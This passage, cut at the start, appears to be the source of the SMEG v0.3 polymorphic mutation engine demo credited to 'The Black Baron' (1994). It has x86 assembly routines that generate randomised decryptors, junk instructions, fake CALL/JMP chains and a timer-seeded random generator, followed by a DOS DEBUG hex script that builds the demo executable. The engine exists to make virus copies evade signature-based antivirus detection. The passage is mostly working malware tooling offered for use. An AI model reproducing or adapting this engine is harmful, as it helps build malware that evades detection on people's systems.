jmp short fill_reg_field ; register that holds the
; data to be decrypted
fill_reg_reg2: call fill_field
mov al,dh
jmp short fill_reg_reg1
encode_routine2:mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
process_all: lodsb ; get a byte
cmp al,-1 ; are we at the end?
jne process_byte ; no, keep going
lodsb ; else get returncode and exit
retn
process_byte: push si ax
mov cl,4
call process_nibble
xor cl,cl
pop ax
call process_nibble
pop si
jmp short process_all
process_nibble: ror al,cl ; only use the part of
and ax,0F ; the byte that we want
jnz no_switch_table
and cl,cl ; if the lower half of byte=0,
jz switch_tables ; switch tables
mov [bp.loop_top],di ; otherwise save this location
retn ; as the top of the loop
switch_tables: mov word ptr [bp.which_tbl],offset encode_tbl2 - 6
retn
no_switch_table:push ax
call garble_more
pop ax
add ax,ax ; calculate AX*6+[bp.which_tbl]
mov bx,ax
add ax,ax
add ax,bx
add ax,[bp.which_tbl]
mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
xchg si,ax
lodsb
mov dh,al ; dh holds first byte
lodsb
xchg ah,al ; ah holds second byte
call encode_it ; process it
lodsb ; now ah holds the next byte
xchg ah,al
call encode_it ; process it
lodsb ; get the next byte
mov dl,al ; it tells us which
and ax,0F ; value to write in
add ax,ax ; this is the modifier
add ax,offset write_table ; i.e. pointer, encryption
xchg bx,ax ; value, etc.
jmp word ptr [bx]
write_nothing: retn
write_cryptval: mov al,[bp.cryptval]
stosb
retn
write_pointer_patch: ; save location of pointer initialisation
mov [bp.pointer_patch],di
stosw
retn
write_counter_patch: ; save location of counter initialisation
mov [bp.counter_patch],di
stosw
retn
write_ptr_offset: ; write XXXX of [bx+XXXX]
mov ax,[bp.ptr_offsets]
mov [bp.pointer_fixup],ax
stosw
retn
write_dl: mov al,dl ; write lower half of top
mov cl,4 ; byte of dl as a word
shr al,cl ; used as amount to increment
and ax,0F
stosw
retn
garble_some: push si
mov dx,3 ; garble 2-5 times
call multiple_garble
pop si
retn
garble_more: mov dx,7
multiple_garble:call rnd_get
and ax,dx
inc ax
inc ax
xchg cx,ax
garble_again: push cx ; save garble count
call garble_once ; garble
pop cx ; restore garble count
loop garble_again
cmp [bp.cJMP_patch],cx ; cJMP_patch == 0? i.e. is
je skip_finish_cJMP ; there an unfinished cJMP?
call finish_cJMP ; if so, finish it
skip_finish_cJMP:call many_nonbranch_garble ; garble garble
mov bx,[bp.nJMP_patch] ; check if pending nJMP
and bx,bx
jnz loc_0047 ; if so, keep going
retn
loc_0047: ; xref 4028:0996
mov al,0C3 ; encode a RETN
stosb
mov ax,di
sub ax,bx
dec ax
dec ax
mov [bx],ax
mov [bp.CALL_patch],bx
mov word ptr [bp.nJMP_patch],0
many_nonbranch_garble:
call rnd_get ; do large instruction
and ax,3 ; garble from 3 to 6 times
add al,3
xchg cx,ax
many_nonbranch_garble_loop:
push cx
call not_branch_garble
pop cx
loop many_nonbranch_garble_loop
retn
; finish_cJMP simply encodes a few instructions between the conditional
; jmp and its target, and then sets the destination of the jmp to be after
; the inserted instructions.
finish_cJMP: mov ax,di ; get current location
mov bx,[bp.cJMP_patch] ; get previous location
sub ax,bx
dec al ; calculate offset
jnz go_patch_cJMP ; if nothing in between,
call not_branch_garble ; fill in some instructions
jmp short finish_cJMP ; and do this again
go_patch_cJMP: cmp ax,7F ; are we close enough?
jbe patch_cJMP ; if so, finish this now
xor al,al ; if not, encode cJMP $+2
patch_cJMP: mov [bx],al ; patch the cJMP destination
mov word ptr [bp.cJMP_patch],0 ; clear usage flag
retn
set_reg_mask: and cl,0F8 ; clear bottom 3 bits
mov bx,bp
db 83,0C3,6 ; add bx,6
mov dh,7 ; assume one of 8 registers
test dl,4 ; can we use any register?
jnz set_reg_mask_exit ; if so, quit
db 83,0C3,3 ; add bx,3 ; otherwise, set mask so we
mov dh,3 ; only choose from regs 3-6
set_reg_mask_exit:
retn
choose_register:call rnd_get ; get random number
xor ah,ah ; clear high byte
and al,dh ; use mask from set_reg_mask
add bx,ax
mov al,[bx] ; get the register number
test ch,1 ; byte or word register?
jnz choose_reg_done ; if word, we are okay
test byte ptr [si-2],4 ; otherwise, check if we can
jnz choose_reg_done ; take only half the register
mov ah,al ; uh oh, we can't, so...
and al,3 ; is it one of the garbage
cmp al,[bp+9] ; registers?
mov al,ah ; if so, we are done
jz choose_reg_done
mov al,[bp+9]
cmp al,4 ; ax,cx,dx, or bx?
jb werd ; to yer muthah!
pop ax
; pop off return location
retn ; go to caller's caller
werd: and ah,4 ; make either byte or word
or al,ah ; register
choose_reg_done:retn
garble_once: call rnd_get
cmp ah,0C8 ; randomly go to either
jbe other_garble ; here ...
jmp branch_garble ; ... or here
not_branch_garble:
call rnd_get
other_garble: cmp al,0F0
jbe larger_instr ; mostly do larger instructions
jmp do_one_byte ; 1/16 chance
larger_instr: and ax,1F ; normalise random number
cmp al,[bp.lastgarble] ; is it the same as before?
je not_branch_garble ; then try again, since we
; don't want two of the same
; sort in a row
mov [bp.lastgarble],al ; else remember this one
add ax,ax ; and process it
add ax,offset garble_table
xchg si,ax
lodsw ; get table entry
xchg cx,ax ; keep it in CX
mov dl,cl ; pick out the bottom
and dl,3 ; mask out low 2 bits
call rnd_get
and al,3 ; this line unnecessary
and al,dl ; patch it into the top
or ch,al ; byte for variable opcodes
; (e.g. allows byte & word
; forms of opcode to use the
; same table entry)
mov dl,cl
and dl,0C0 ; mask out mod field
cmp dl,0C0 ; does it indicate register
mov dl,cl ; operation? i.e. 2 regs
jz no_memory ; if so, branch
call set_reg_mask ; otherwise, process memory
call rnd_get ; and register operation
and al,0C0 ; clear all but top 2 bits
or cl,al ; fill in the field
rol al,1
rol al,1
mov dl,al
call rnd_get ; generate the registers to use
and al,7 ; in memory access,i.e. [bx+si]
or cl,al ; patch into 2nd byte of instr
cmp dl,3
je fill_in_rm
cmp al,6
jne force_byte
mov dl,2 ; alter mask to choose AX or DX
and cl,3F
jmp short fill_in_rm
force_byte: and ch,not 1 ; change to byte data
; "byte sized"
fill_in_rm: call choose_register ; move register into
shl al,1 ; the rm field
shl al,1
shl al,1
finish_larger: or cl,al ; combine data
xchg cx,ax ; move it to the right register
xchg ah,al ; reverse byte order
stosw ; write the instruction
and dl,dl ; needs data bytes?
jnz needs_data
retn
needs_data: cmp dl,3 ; check length of instruction
jne do_data_bytes
retn
do_data_bytes: call rnd_get ; keep the random number
and al,3F ; under 40h
stosb ; write the byte
dec dl ; decrement bytes to write
jnz do_data_bytes
retn
no_memory: call set_reg_mask
call choose_register
mov ah,ch ; get the opcode and clear the
and ah,0FE ; size bit for now
cmp ah,0F6
jne not_NOT_NEG
test cl,10 ; is it TEST instruction?
jz not_NOT_NEG ; if it is, go find the number
; of data bytes it needs, else
; it is NOT or NEG, so there're
no_data_bytes: xor dl,dl ; no data bytes
jmp short finish_larger
not_NOT_NEG: and ah,0FC ; is it a shift or rotate?
cmp ah,0D0
jne set_data_length ; if not, calculate # data
; bytes needed, else
jmp short no_data_bytes ; we don't need any
set_data_length:test ch,1 ; byte or word of data?
mov dl,2 ; assume word
jnz finish_larger ; continue if so
dec dl ; DEC DX is better!!!
jmp short finish_larger ; otherwise adjust to data
do_one_byte: and al,7
mov bx,offset onebyte_table
xlat
cmp al,48 ; DEC?
je inc_or_dec
cmp al,40 ; or INC?
jne encode_1byte
inc_or_dec: mov cl,al
call rnd_get ; get a garbage register
and al,3
mov bx,bp ; can we say "lea", boys and
db 83,0C3,9 ; add bx,9 ; girls?
xlat ; look up the register
or al,cl ; fill in the register field
encode_1byte: stosb
retn
branch_garble: cmp word ptr [bp.cJMP_patch],0 ; is there an unfinished
je no_pending_cJMP ; conditional jmp?
jmp finish_cJMP ; if so, finish it
no_pending_cJMP:call rnd_get
cmp ah,6E
ja do_near_JMP
do_cond_jmp: and al,0F ; encode a conditional
or al,70 ; jmp
stosb
mov [bp.cJMP_patch],di ; save target offset
stosb
retn
do_near_JMP: cmp word ptr [bp.nJMP_patch],0 ; is there an unfinished
jne do_cond_jmp ; near JMP pending?
call rnd_get ; if not, encode one
cmp al,78 ; either just jmp past
jbe encode_CALL ; or call it too
mov al,0E9 ; encode near JMP
stosb
mov [bp.nJMP_patch],di ; save location to patch
stosw
call rnd_get
cmp al,0AA
jbe forward_CALL
go_not_branch_garble:
jmp not_branch_garble
forward_CALL: cmp word ptr [bp.last_CALL],0 ; is there a garbage CALL
je go_not_branch_garble ; we can patch?
push di ; if there is, patch the CALL
xchg di,ax ; for here so there are CALLs
dec ax ; forwards as well as back-
dec ax ; wards
mov di,[bp.last_CALL]
sub ax,di
stosw
pop di
jmp not_branch_garble
encode_CALL: cmp word ptr [bp.CALL_patch],0 ; is there one pending?
je do_cond_jmp
mov al,0E8 ; encode a CALL
stosb
cmp word ptr [bp.last_CALL],0
je store_CALL_loc
call rnd_get ; 1/2 chance of replacing
and al,7 ; it (random so it's not
cmp al,4 ; too predictable)
jae fill_in_offset
store_CALL_loc: mov [bp.last_CALL],di ; save ptr to CALL offset
fill_in_offset: mov ax,di ; calculate CALL offset
sub ax,[bp.CALL_patch]
neg ax
stosw
retn
rnd_init: mov ah,2C ; get time
int 21
mov ax,3E1
mul dx
add ax,cx
xchg cx,ax
in ax,40 ; timer port
add ax,cx
mov [bp.rng_buffer],ax
retn
rnd_get: push bx cx dx
mov ax,[bp.rng_buffer]
mov cx,3E1
mul cx
mov cx,ax
xor dx,dx
mov bx,35
div bx
add dx,cx
js no_fix_seed1
in ax,40 ; port 40, 8253 timer 0 clock
add dx,ax
no_fix_seed1: cmp dx,[bp.rng_buffer]
jne no_fix_seed2
neg dx
in ax,40 ; port 40, 8253 timer 0 clock
xor dx,ax
no_fix_seed2: mov [bp.rng_buffer],dx
xchg dx,ax
pop dx cx bx
retn
heap:
data_area db 02dh dup (?)
target_area:
end SMEG_demo
-------------------------------
N SMEGdemo.com
E 0100 E9 C5 01 30 30 30 30 2E 43 4F 4D 00 53 4D 45 47
E 0110 20 76 30 2E 33 2E 20 20 47 65 6E 65 72 61 74 69
E 0120 6F 6E 20 44 69 66 66 65 72 65 6E 63 65 20 44 65
E 0130 6D 6F 6E 73 74 72 61 74 69 6F 6E 0D 0A 09 20 20
E 0140 20 28 43 29 20 54 68 65 20 42 6C 61 63 6B 20 42
E 0150 61 72 6F 6E 20 31 39 39 34 0D 0A 0A 0A 53 45 4C
E 0160 45 43 54 20 54 48 45 20 4E 55 4D 42 45 52 20 4F
E 0170 46 20 47 45 4E 45 52 41 54 49 4F 4E 53 3A 0D 0A
E 0180 0A 31 20 20 2D 2D 20 20 31 30 20 20 20 20 20 47
E 0190 65 6E 65 72 61 74 69 6F 6E 73 0D 0A 32 20 20 2D
E 01A0 2D 20 20 31 30 30 20 20 20 20 20 20 20 20 22 22
E 01B0 0D 0A 33 20 20 2D 2D 20 20 31 30 30 30 20 20 20
E 01C0 20 20 20 20 22 22 0D 0A 34 20 20 2D 2D 20 20 31
E 01D0 30 30 30 30 20 20 20 20 20 20 22 22 20 20 20 20
E 01E0 20 20 20 20 28 4C 61 72 67 65 20 48 44 60 73 20
E 01F0 4F 6E 6C 79 21 21 29 24 20 31 30 20 24 20 31 30
E 0200 30 20 24 20 31 30 30 30 20 24 20 31 30 30 30 30
E 0210 20 24 0D 0A 0A 0A 47 65 6E 65 72 61 74 69 6E 67
E 0220 24 45 78 65 63 75 74 61 62 6C 65 20 2E 43 4F 4D
E 0230 20 47 65 6E 65 72 61 74 69 6F 6E 73 2C 20 50 6C
E 0240 65 61 73 65 20 57 61 69 74 2E 2E 2E 24 0D 0A 0A
E 0250 44 4F 4E 45 21 20 20 4E 6F 77 20 65 78 61 6D 69
E 0260 6E 65 20 65 61 63 68 2C 20 61 6E 64 20 6E 6F 74
E 0270 65 20 68 6F 77 20 64 69 66 66 65 72 65 6E 74 20
E 0280 74 68 65 79 20 61 72 65 21 0D 0A 0A 07 24 0D 0A
E 0290 0A 53 4F 52 52 59 21 20 20 41 20 64 69 73 6B 20
E 02A0 65 72 72 6F 72 20 68 61 73 20 6F 63 63 75 72 72
E 02B0 65 64 21 0D 0A 0A 07 24 0A 00 F8 01 64 00 FD 01
E 02C0 E8 03 03 02 10 27 0A 02 B8 03 00 CD 10 BA 0C 01
E 02D0 B4 09 CD 21 B8 07 0C CD 21 3C 31 72 F7 3C 34 77
E 02E0 F3 2C 31 32 E4 03 C0 03 C0 05 B8 02 93 53 BA 12
E 02F0 02 B4 09 CD 21 5B 8B 0F 51 8B 57 02 CD 21 BA 21
E 0300 02 CD 21 59 51 BD B3 0B BF E0 0B BA 89 03 B9 4A
E 0310 00 B8 00 01 E8 BC 00 B4 5B BA 03 01 33 C9 CD 21
E 0320 73 09 E8 5C 00 59 B8 FF 4C CD 21 93 B4 40 8B 4E
E 0330 27 BA E0 0B CD 21 73 09 E8 46 00 B4 3E CD 21 EB
E 0340 E4 E8 A9 04 B4 40 8B 4E 00 BA E0 0B CD 21 72 E8
E 0350 E8 FA 01 B4 40 CD 21 72 DF B4 3E CD 21 72 C3 BB
E 0360 06 01 B9 04 00 FE 07 80 3F 3A 72 06 80 2F 0A 4B
E 0370 E2 F3 59 E2 8F BA 4D 02 B4 09 CD 21 B8 00 4C CD
E 0380 21 BA 8E 02 B4 09 CD 21 C3 E8 3D 00 0D 0A 54 68
E 0390 69 73 20 77 61 73 20 64 65 63 72 79 70 74 65 64
E 03A0 20 77 69 74 68 20 61 20 53 4D 45 47 20 76 30 2E
E 03B0 33 20 67 65 6E 65 72 61 74 65 64 20 64 65 63 72
E 03C0 79 70 74 6F 72 21 0D 0A 24 5A B4 09 CD 21 B8 00
E 03D0 4C CD 21 89 4E 00 89 56 02 89 7E 04 53 56 8B DD
E 03E0 83 C3 06 B9 2D 00 53 88 2F 43 E2 FB 89 46 1C E8
E 03F0 7E 07 BB 6A 05 E8 8C 07 24 1F D7 5B B9 04 00 32
E 0400 D2 D0 D0 D0 D2 D0 D0 D0 D2 88 17 43 E2 F1 C6 07
E 0410 05 43 43 E8 6E 07 D0 C0 24 01 04 06 88 07 34 01
E 0420 80 7F FD 03 75 05 88 47 FD B0 03 88 47 01 8A 47
E 0430 FD 88 47 FF E8 4D 07 32 C4 74 F9 88 46 10 E8 43
E 0440 07 0C 01 89 46 11 E8 27 07 25 FF 03 05 80 00 89
E 0450 46 25 33 C0 04 53 4D 45 47 04 AE FC 2B F8 E8 23
E 0460 07 25 03 00 04 03 91 51 E8 09 05 E8 16 07 3C 8C
E 0470 76 11 25 03 00 05 D2 05 96 B4 B4 AC 86 E0 AB B8
E 0480 CD 21 AB 59 E2 E1 B0 E8 AA 57 AB E8 E6 04 B0 E9
E 0490 AA 5B 57 AB 57 58 48 48 2B C3 89 07 E8 D5 04 B0
E 04A0 C3 AA 5B 57 58 48 48 2B C3 89 07 E8 CC 03 8B F5
E 04B0 83 C6 08 22 C0 75 02 4E 4E B0 75 AA 47 57 E8 AA
E 04C0 04 5B B0 E9 AA 57 47 47 8B C7 2B C3 88 47 FF E8
E 04D0 99 04 E8 AF 06 25 03 00 03 C0 74 14 50 B0 B8 0A
E 04E0 04 AA 8B 46 13 2B 46 04 03 46 1C AB E8 7C 04 58
E 04F0 05 C5 07 93 FF 17 AB 5B 8B C7 2B C3 48 48 89 07
E 0500 E8 71 04 8B C7 2B 46 04 24 0F 74 11 3C 0C 77 05
E 0510 E8 19 05 EB EE E8 6C 06 E8 C5 05 EB E6 8B C7 2B
E 0520 46 04 89 46 27 03 46 1C 8B 4E 19 2B C1 8B 5E 15
E 0530 89 07 8A 5E 1B B1 03 D2 CB 83 E3 0F 81 C3 D6 05
E 0540 8B 46 00 FF 17 8B 5E 17 89 07 5E 5B C3 8B 4E 25
E 0550 8B 7E 04 51 57 E8 2C 06 AA E2 FA 5A 59 C3 48 09
E 0560 49 09 4E 09 53 09 58 09 60 09 1B C6 B1 6C E4 39
E 0570 4E 93 4B D2 B4 2D E1 78 1E 87 27 C9 72 9C D8 36
E 0580 8D 63 E4 2D 27 1E C6 87 D2 72 48 40 F8 FC F5 F9
E 0590 40 48 F1 80 01 32 C1 F6 05 84 E9 80 01 2A EB D0
E 05A0 01 1A D9 80 D1 80 FB D0 E3 D0 CB D0 C3 D0 05 84
E 05B0 DB D0 C1 C6 C9 80 01 0A D1 F6 D9 F6 01 8A C1 C6
E 05C0 01 02 C1 80 FD 80 07 38 E1 80 D3 D0 01 22 01 12
E 05D0 01 8A 19 2A 2C 30 3E 08 40 08 41 08 43 08 46 08
E 05E0 48 08 4F 08 51 08 A9 08 AA 08 AC 08 D0 08 D2 08
E 05F0 D6 08 DD 08 08 8C 00 C8 04 00 08 8E 00 D8 04 00
E 0600 07 B8 04 FF 00 02 01 B8 04 FF 00 03 57 8A 00 80
E 0610 05 04 57 88 00 80 05 04 02 80 00 F0 04 01 11 8B
E 0620 00 C0 05 00 78 30 00 00 06 00 47 F6 00 98 04 04
E 0630 47 F6 00 90 04 04 07 40 04 FF 00 00 01 48 04 FF
E 0640 00 00 08 B0 04 FF 00 01 10 33 00 C0 05 00 47 86
E 0650 00 80 05 04 08 40 04 FF 00 00 08 48 04 FF 00 00
E 0660 07 81 00 C0 04 15 01 81 00 E8 04 15 10 02 00 C0
E 0670 05 00 10 2A 00 C0 05 00 47 FB 04 B0 04 04 47 8F
E 0680 00 80 04 04 08 50 04 FF 00 00 08 58 04 FF 00 00
E 0690 10 87 00 C0 05 00 02 40 04 FF 00 00 08 8B 00 C0
E 06A0 05 00 09 23 00 C0 05 00 10 13 24 EF 05 F0 26 CD
E 06B0 FF 71 34 12 EE 0D AD 5F 60 30 40 50 30 50 FF 42
E 06C0 43 10 CE E0 C2 00 1F 68 80 D0 D0 D0 30 C0 E0 40
E 06D0 F0 FF 00 33 14 23 EE 0D DB 5F 6F C0 20 20 F0 FF
E 06E0 64 41 2E 3F 09 80 C0 20 D0 20 40 20 20 E0 D0 C0
E 06F0 F0 FF 05 13 42 EF 0D 70 A0 80 B0 C0 B0 A0 76 C8
E 0700 80 D0 D0 C0 E0 B0 20 F0 FF 56 34 12 2E 05 D0 66
E 0710 80 3F DC D0 FF 27 41 32 EF 09 F0 40 A8 D0 D0 D0
E 0720 C0 E0 B0 30 F0 FF 32 41 32 E0 C0 08 D0 BF 60 30
E 0730 C0 4D FF 00 11 43 12 EF 0A 5F D0 30 30 C0 10 C0
E 0740 40 F0 FF 66 31 42 EF 00 A0 88 80 C0 20 20 20 20
E 0750 E0 B0 C0 B0 60 A0 C0 A0 90 B0 3C F0 F0 FF 04 12
E 0760 E8 43 08 D0 D0 C0 E0 C9 C0 20 20 F0 FF 73 31 42
E 0770 E4 0D DD B0 A0 80 B0 C0 BF 60 20 40 20 50 FF 20
E 0780 E0 C1 32 40 00 10 CF D0 C0 10 C8 C0 D0 D0 D0 20
E 0790 C0 E0 F0 FF 00 55 43 12 E3 05 D0 70 20 56 CD FF
E 07A0 47 E3 40 C1 20 00 80 B0 CF 68 D0 30 D0 D0 D0 C0
E 07B0 E0 40 F0 FF 00 11 08 26 08 16 08 1D 08 1F 08 2F
E 07C0 08 34 08 39 08 56 08 63 08 69 08 6F 08 7F 07 BF
E 07D0 06 F2 06 5E 07 A8 06 34 07 95 07 26 07 B1 06 15
E 07E0 07 A0 07 43 07 D3 06 6D 07 E0 06 09 07 FC 53 56
E 07F0 8A 5E 1B 83 E3 0F 03 DB 81 C3 B5 07 8B 7E 04 8B
E 0800 76 02 8B 4E 00 8A 56 10 AC FF 17 AA E2 FA 5E 5B
E 0810 C3 32 C2 FE C2 C3 32 D0 8A C2 FE CA C3 F6 D0 32
E 0820 C2 FE C2 FE C2 C3 32 C2 F6 D8 FE CA FE CA C3 02
E 0830 C2 FE C2 C3 2A C2 FE CA C3 32 C2 FE CA C3 F7 D8
E 0840 C3 F7 D8 03 C0 C3 F7 D8 8B C8 03 C0 03 C1 C3 F7
E 0850 D8 03 C0 03 C0 C3 B0 E9 AA 8B C7 2B 46 13 40 40
E 0860 F7 D8 C3 B8 FF E0 0A 24 C3 B8 50 C3 0A 04 C3 B0
E 0870 0E AA E8 F6 00 B8 50 CB EB F2 E8 07 03 BB CD 07
E 0880 25 0F 00 03 C0 03 D8 8B 37 AC 88 46 1B EB 55 AC
E 0890 80 FC FF 74 14 32 FF 02 C0 8A D8 81 C3 E6 05 8A
E 08A0 C6 B9 03 00 FF 17 86 E0 AA C3 D2 C8 24 07 8B DD
E 08B0 83 C3 06 D7 D2 C0 22 C9 75 13 F6 C6 40 74 0E 3C
E 08C0 03 75 04 B0 07 EB 06 3C 06 72 02 2C 02 0A E0 C3
E 08D0 D2 C8 32 C9 EB D6 E8 D1 FF 8A C6 EB F5 E8 CC FF
E 08E0 8A C6 EB EC C7 46 2B EE 05 AC 3C FF 75 02 AC C3
E 08F0 56 50 B1 04 E8 09 00 32 C9 58 E8 03 00 5E EB E9
E 0900 D2 C8 25 0F 00 75 0E 22 C9 74 04 89 7E 13 C3 C7
E 0910 46 2B 48 06 C3 50 E8 5B 00 58 03 C0 8B D8 03 C0
E 0920 03 C3 03 46 2B C7 46 2B EE 05 96 AC 8A F0 AC 86
E 0930 E0 E8 5B FF AC 86 E0 E8 55 FF AC 8A D0 25 0F 00
E 0940 03 C0 05 5E 05 93 FF 27 C3 8A 46 10 AA C3 89 7E
E 0950 15 AB C3 89 7E 17 AB C3 8B 46 11 89 46 19 AB C3
E 0960 8A C2 B1 04 D2 E8 25 0F 00 AB C3 56 BA 03 00 E8
E 0970 05 00 5E C3 BA 07 00 E8 0A 02 23 C2 40 40 91 51
E 0980 E8 9E 00 59 E2 F9 39 4E 1F 74 03 E8 2F 00 E8 1B
E 0990 00 8B 5E 23 23 DB 75 01 C3 B0 C3 AA 8B C7 2B C3
E 09A0 48 48 89 07 89 5E 21 C7 46 23 00 00 E8 D5 01 25
E 09B0 03 00 04 03 91 51 E8 73 00 59 E2 F9 C3 8B C7 8B
E 09C0 5E 1F 2B C3 FE C8 75 05 E8 61 00 EB F0 3D 7F 00
E 09D0 76 02 32 C0 88 07 C7 46 1F 00 00 C3 80 E1 F8 8B
E 09E0 DD 83 C3 06 B6 07 F6 C2 04 75 05 83 C3 03 B6 03
E 09F0 C3 E8 90 01 32 E4 22 C6 03 D8 8A 07 F6 C5 01 75
E 0A00 1F F6 44 FE 04 75 19 8A E0 24 03 3A 46 09 8A C4
E 0A10 74 0E 8A 46 09 3C 04 72 02 58 C3 80 E4 04 0A C4
E 0A20 C3 E8 60 01 80 FC C8 76 06 E9 D3 00 E8 55 01 3C
E 0A30 F0 76 03 E9 AA 00 25 1F 00 3A 46 1E 74 EE 88 46
E 0A40 1E 03 C0 05 92 05 96 AD 91 8A D1 80 E2 03 E8 33
E 0A50 01 24 03 22 C2 0A E8 8A D1 80 E2 C0 80 FA C0 8A
E 0A60 D1 74 4F E8 76 FF E8 1B 01 24 C0 0A C8 D0 C0 D0
E 0A70 C0 8A D0 E8 0E 01 24 07 0A C8 80 FA 03 74 0E 3C
E 0A80 06 75 07 B2 02 80 E1 3F EB 03 80 E5 FE E8 61 FF
E 0A90 D0 E0 D0 E0 D0 E0 0A C8 91 86 E0 AB 22 D2 75 01
E 0AA0 C3 80 FA 03 75 01 C3 E8 DA 00 24 3F AA FE CA 75
E 0AB0 F6 C3 E8 27 FF E8 39 FF 8A E5 80 E4 FE 80 FC F6
E 0AC0 75 09 F6 C1 10 74 04 32 D2 EB CB 80 E4 FC 80 FC
E 0AD0 D0 75 02 EB F2 F6 C5 01 B2 02 75 BA FE CA EB B6
E 0AE0 24 07 BB 8A 05 D7 3C 48 74 04 3C 40 75 0F 8A C8
E 0AF0 E8 91 00 24 03 8B DD 83 C3 09 D7 0A C1 AA C3 83
E 0B00 7E 1F 00 74 03 E9 B5 FE E8 79 00 80 FC 6E 77 0A
E 0B10 24 0F 0C 70 AA 89 7E 1F AA C3 83 7E 23 00 75 F0
E 0B20 E8 61 00 3C 78 76 25 B0 E9 AA 89 7E 23 AB E8 53
E 0B30 00 3C AA 76 03 E9 F4 FE 83 7E 29 00 74 F7 57 97
E 0B40 48 48 8B 7E 29 2B C7 AB 5F E9 E0 FE 83 7E 21 00
E 0B50 74 BE B0 E8 AA 83 7E 29 00 74 09 E8 26 00 24 07
E 0B60 3C 04 73 03 89 7E 29 8B C7 2B 46 21 F7 D8 AB C3
E 0B70 B4 2C CD 21 B8 E1 03 F7 E2 03 C1 91 E5 40 03 C1
E 0B80 89 46 0E C3 53 51 52 8B 46 0E B9 E1 03 F7 E1 8B
E 0B90 C8 33 D2 BB 35 00 F7 F3 03 D1 78 04 E5 40 03 D0
E 0BA0 3B 56 0E 75 06 F7 DA E5 40 33 D0 89 56 0E 92 5A
E 0BB0 59 5B C3
R CX
0AB3
W
Q
-------------------------------